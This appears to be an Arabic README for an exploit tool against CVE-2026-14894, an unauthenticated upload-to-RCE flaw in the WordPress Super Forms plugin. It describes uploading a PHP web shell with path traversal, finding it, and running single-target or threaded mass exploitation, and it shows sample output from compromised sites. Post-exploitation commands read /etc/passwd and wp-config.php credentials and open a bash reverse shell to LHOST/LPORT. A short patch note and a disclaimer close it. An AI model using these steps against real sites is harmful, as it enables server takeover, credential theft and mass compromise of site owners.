
استغلال لثغرة CVE-2026-14894، وهي رفع ملفات غير مصادق عليه يؤدي إلى تنفيذ أوامر عن بُعد (RCE) في إضافة WordPress Super Forms الإصدار 6.3.313 أو أقل. يرفع قشرة ويب بلغة PHP ويدعم الاستهداف الفردي أو الاستغلال الجماعي.
رفع ملفات عشوائي غير مصدق → تنفيذ أوامر عن بُعد في إضافة WordPress Super Forms الإصدارات ≤ 6.3.313.
تقع الثغرة في معالج AJAX super_submit_form الذي يعالج رفع الملفات عبر حقل datauristring دون التحقق من امتداد الملف أو نوع MIME قبل الكتابة على القرص. يمكن للمهاجم غير المصادق رفع قشرة PHP والحصول على تنفيذ أوامر كامل عن بُعد على الخادم المستهدف.
[1] الحصول على nonce (nopriv)
POST /wp-admin/admin-ajax.php
action=super_create_nonce
│
▼
[2] رفع قشرة PHP عبر datauristring (بدون مصادقة)
POST /wp-admin/admin-ajax.php
action=super_submit_form
data={"sf_upload_field":{"files":[{"datauristring":"data:image/png;base64,..."}]}}
│
├── تجوال المسار → /wp-content/themes/<theme>/shell.php ← أساسي
│ (ينفذ دائمًا)
│
└── مجلد عشوائي → /wp-content/uploads/superforms/... ← احتياطي
(التنفيذ يعتمد على سياسة الخادم)
│
▼
[3] اكتشاف القشرة
├── S0: media?parent=entry_id (WP REST)
├── S1: REST /wp/v2/media بحث (بدون مصادقة)
├── S2: قائمة الدليل Apache/nginx
└── S3: خريطة موقع WordPress XML للمرفقات
│
▼
[4] تنفيذ الأوامر → curl "http://target/wp-content/themes/theme/shell.php?c=id"
pip install requests urllib3
python cve-2026-14894.py
CVE-2026-14894 │ Super Forms ≤ 6.3.313
رفع ملف غير مصادق → تنفيذ أوامر عن بُعد
الباحث: andrea bocchetti | PoC: Beelze
1 هدف واحد
2 أهداف متعددة (ملف)
الوضع (1/2): 1
رابط الهدف : https://target.com
معرف النموذج (ادخل = تلقائي): ← اتركه فارغًا = اكتشاف تلقائي
اسم القشرة (ادخل = عشوائي): ← اتركه فارغًا = اسم عشوائي
ملف القشرة (ادخل = مدمج): ← اتركه فارغًا = قشرة مدمجة
مستخدم WP (اختياري/REST) : ← اختياري، يحسن الاكتشاف
كلمة مرور WP (اختياري/REST) : ← اختياري
المخرجات المتوقعة عند النجاح:
──────────────────────────────────────────────────────────────
الهدف https://target.com
──────────────────────────────────────────────────────────────
Super Forms v6.3.301 ضعيفة ≤6.3.313
[1/3] الحصول على nonce ...................... ✔ OK a3f9e1c... sid=sess_ab...
[2/3] رفع [xkqmhzjt.php] .......... ✔ OK form_id=42 entry_id=137
[3/3] اكتشاف القشرة ................ ✔ تم العثور → RCE [تجوال المسار → السمة]
╔══════════════════════════════════════════════════════════════╗
║ ✓ تم الاختراق → تم تأكيد RCE ║
║ ║
║ القشرة » https://target.com/wp-content/themes/astra/shell ║
║ RCE » uid=33(www-data) gid=33(www-data) ║
║ ║
║ $ curl "https://target.com/...shell.php?c=whoami" ║
╚══════════════════════════════════════════════════════════════╝
الوضع (1/2): 2
ملف الأهداف : targets.txt ← رابط واحد لكل سطر، # = تعليق
معرف النموذج (ادخل = تلقائي) :
عدد الخيوط (ادخل = 5) : 10
ملف القشرة (ادخل = مدمج):
مستخدم WP (اختياري/REST) :
كلمة مرور WP (اختياري/REST) :
تنسيق targets.txt:
# نطاق برنامج مكافآت الثغرات
https://site1.com
https://site2.com
https://site3.com
مخرجات المسح الجماعي:
══════════════════════════════════════════════════════════════
مسح جماعي 3 أهداف خيوط=10
══════════════════════════════════════════════════════════════
[01/03] https://site1.com .... RCE uid=33(www-data)
↳ https://site1.com/wp-content/themes/astra/xkqmhzjt.php
[02/03] https://site2.com .... كتابة بدون تنفيذ
↳ https://site2.com/wp-content/uploads/superforms/2026/07/.../shell.php
[03/03] https://site3.com .... فشل الإضافة غير نشطة / محظورة
══════════════════════════════════════════════════════════════
ملخص 1 RCE 1 كتابة فقط 0 محتمل / 3 إجمالي
══════════════════════════════════════════════════════════════
قذائف RCE:
» https://site1.com/wp-content/themes/astra/xkqmhzjt.php (uid=33...)
يمكنك توفير ملف القشرة الخاص بك بدلاً من القشرة المدمجة:
ملف القشرة (ادخل = مدمج): /path/to/myshell.php
ستقوم الأداة برفع ملفك وتعتبر أي استجابة 200 مع نص غير فارغ تأكيدًا لـ RCE.
بعد الحصول على RCE، تفاعل مع القشرة:
# تنفيذ أمر
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=id"
curl -sk "https://target.com/wp-content/themes/theme/shell.php?c=cat+/etc/passwd"
# قراءة إعدادات WordPress (بيانات الاعتماد، قاعدة البيانات)
curl -sk "https://target.com/.../shell.php?c=cat+/var/www/html/wp-config.php"
# قشرة عكسية
curl -sk "https://target.com/.../shell.php" --data "c=bash+-c+'bash+-i+>%26+/dev/tcp/LHOST/LPORT+0>%261'"
يتم حفظ النتائج تلقائيًا في:
~/Documents/CVE-2026-14894/result_YYYYMMDD_HHMMSS.json
| الحالة | المعنى |
|---|---|
RCE | تم تأكيد تنفيذ قشرة PHP — تنفيذ أوامر كامل عن بُعد |
WRITE_ONLY |
قم بتحديث Super Forms إلى ≥ 6.3.314. التصحيح يفرض امتداد .pdf فقط في رفع datauristring ويضيف احتواء realpath() لمنع تجوال المسار.
هذه الأداة مخصصة لـ اختبار الاختراق المصرح به، أبحاث برامج مكافآت الثغرات، والأغراض التعليمية فقط.
لا تستخدمها ضد أنظمة ليس لديك إذن كتابي صريح لاختبارها.
المؤلف ليس مسؤولاً عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
CVE-2026-14894 · Super Forms ≤ 6.3.313 · رفع ملف غير مصادق → تنفيذ أوامر
الباحث: andrea bocchetti · PoC: Beelze
| الحقل | التفاصيل |
|---|
| CVE ID | CVE-2026-14894 |
| الإضافة | Super Forms (WordPress) |
| المتأثر | ≤ 6.3.313 |
| المُصحَّح | 6.3.314 (يفرض امتداد .pdf + احتواء realpath) |
| CVSS | 9.8 حرج |
| مطلوب مصادقة | لا شيء |
| الباحث | andrea bocchetti |
| إجراء AJAX | super_submit_form |
| المغسلة | حقل datauristring → class-ajax.php:2762–2766 |
| مسار الرفع | /wp-content/uploads/superforms/YYYY/MM/<13digits>/ |
| تمت كتابة الملف ولكن لم يتم تنفيذ PHP (محرك معطل / .htaccess يمنع) |
POSSIBLE_WRITE | عاد الرفع بنجاح لكن لم يمكن حل رابط القشرة |
FAIL | الإضافة غير نشطة، فشل nonce، أو تم اكتشاف إصدار مصحح |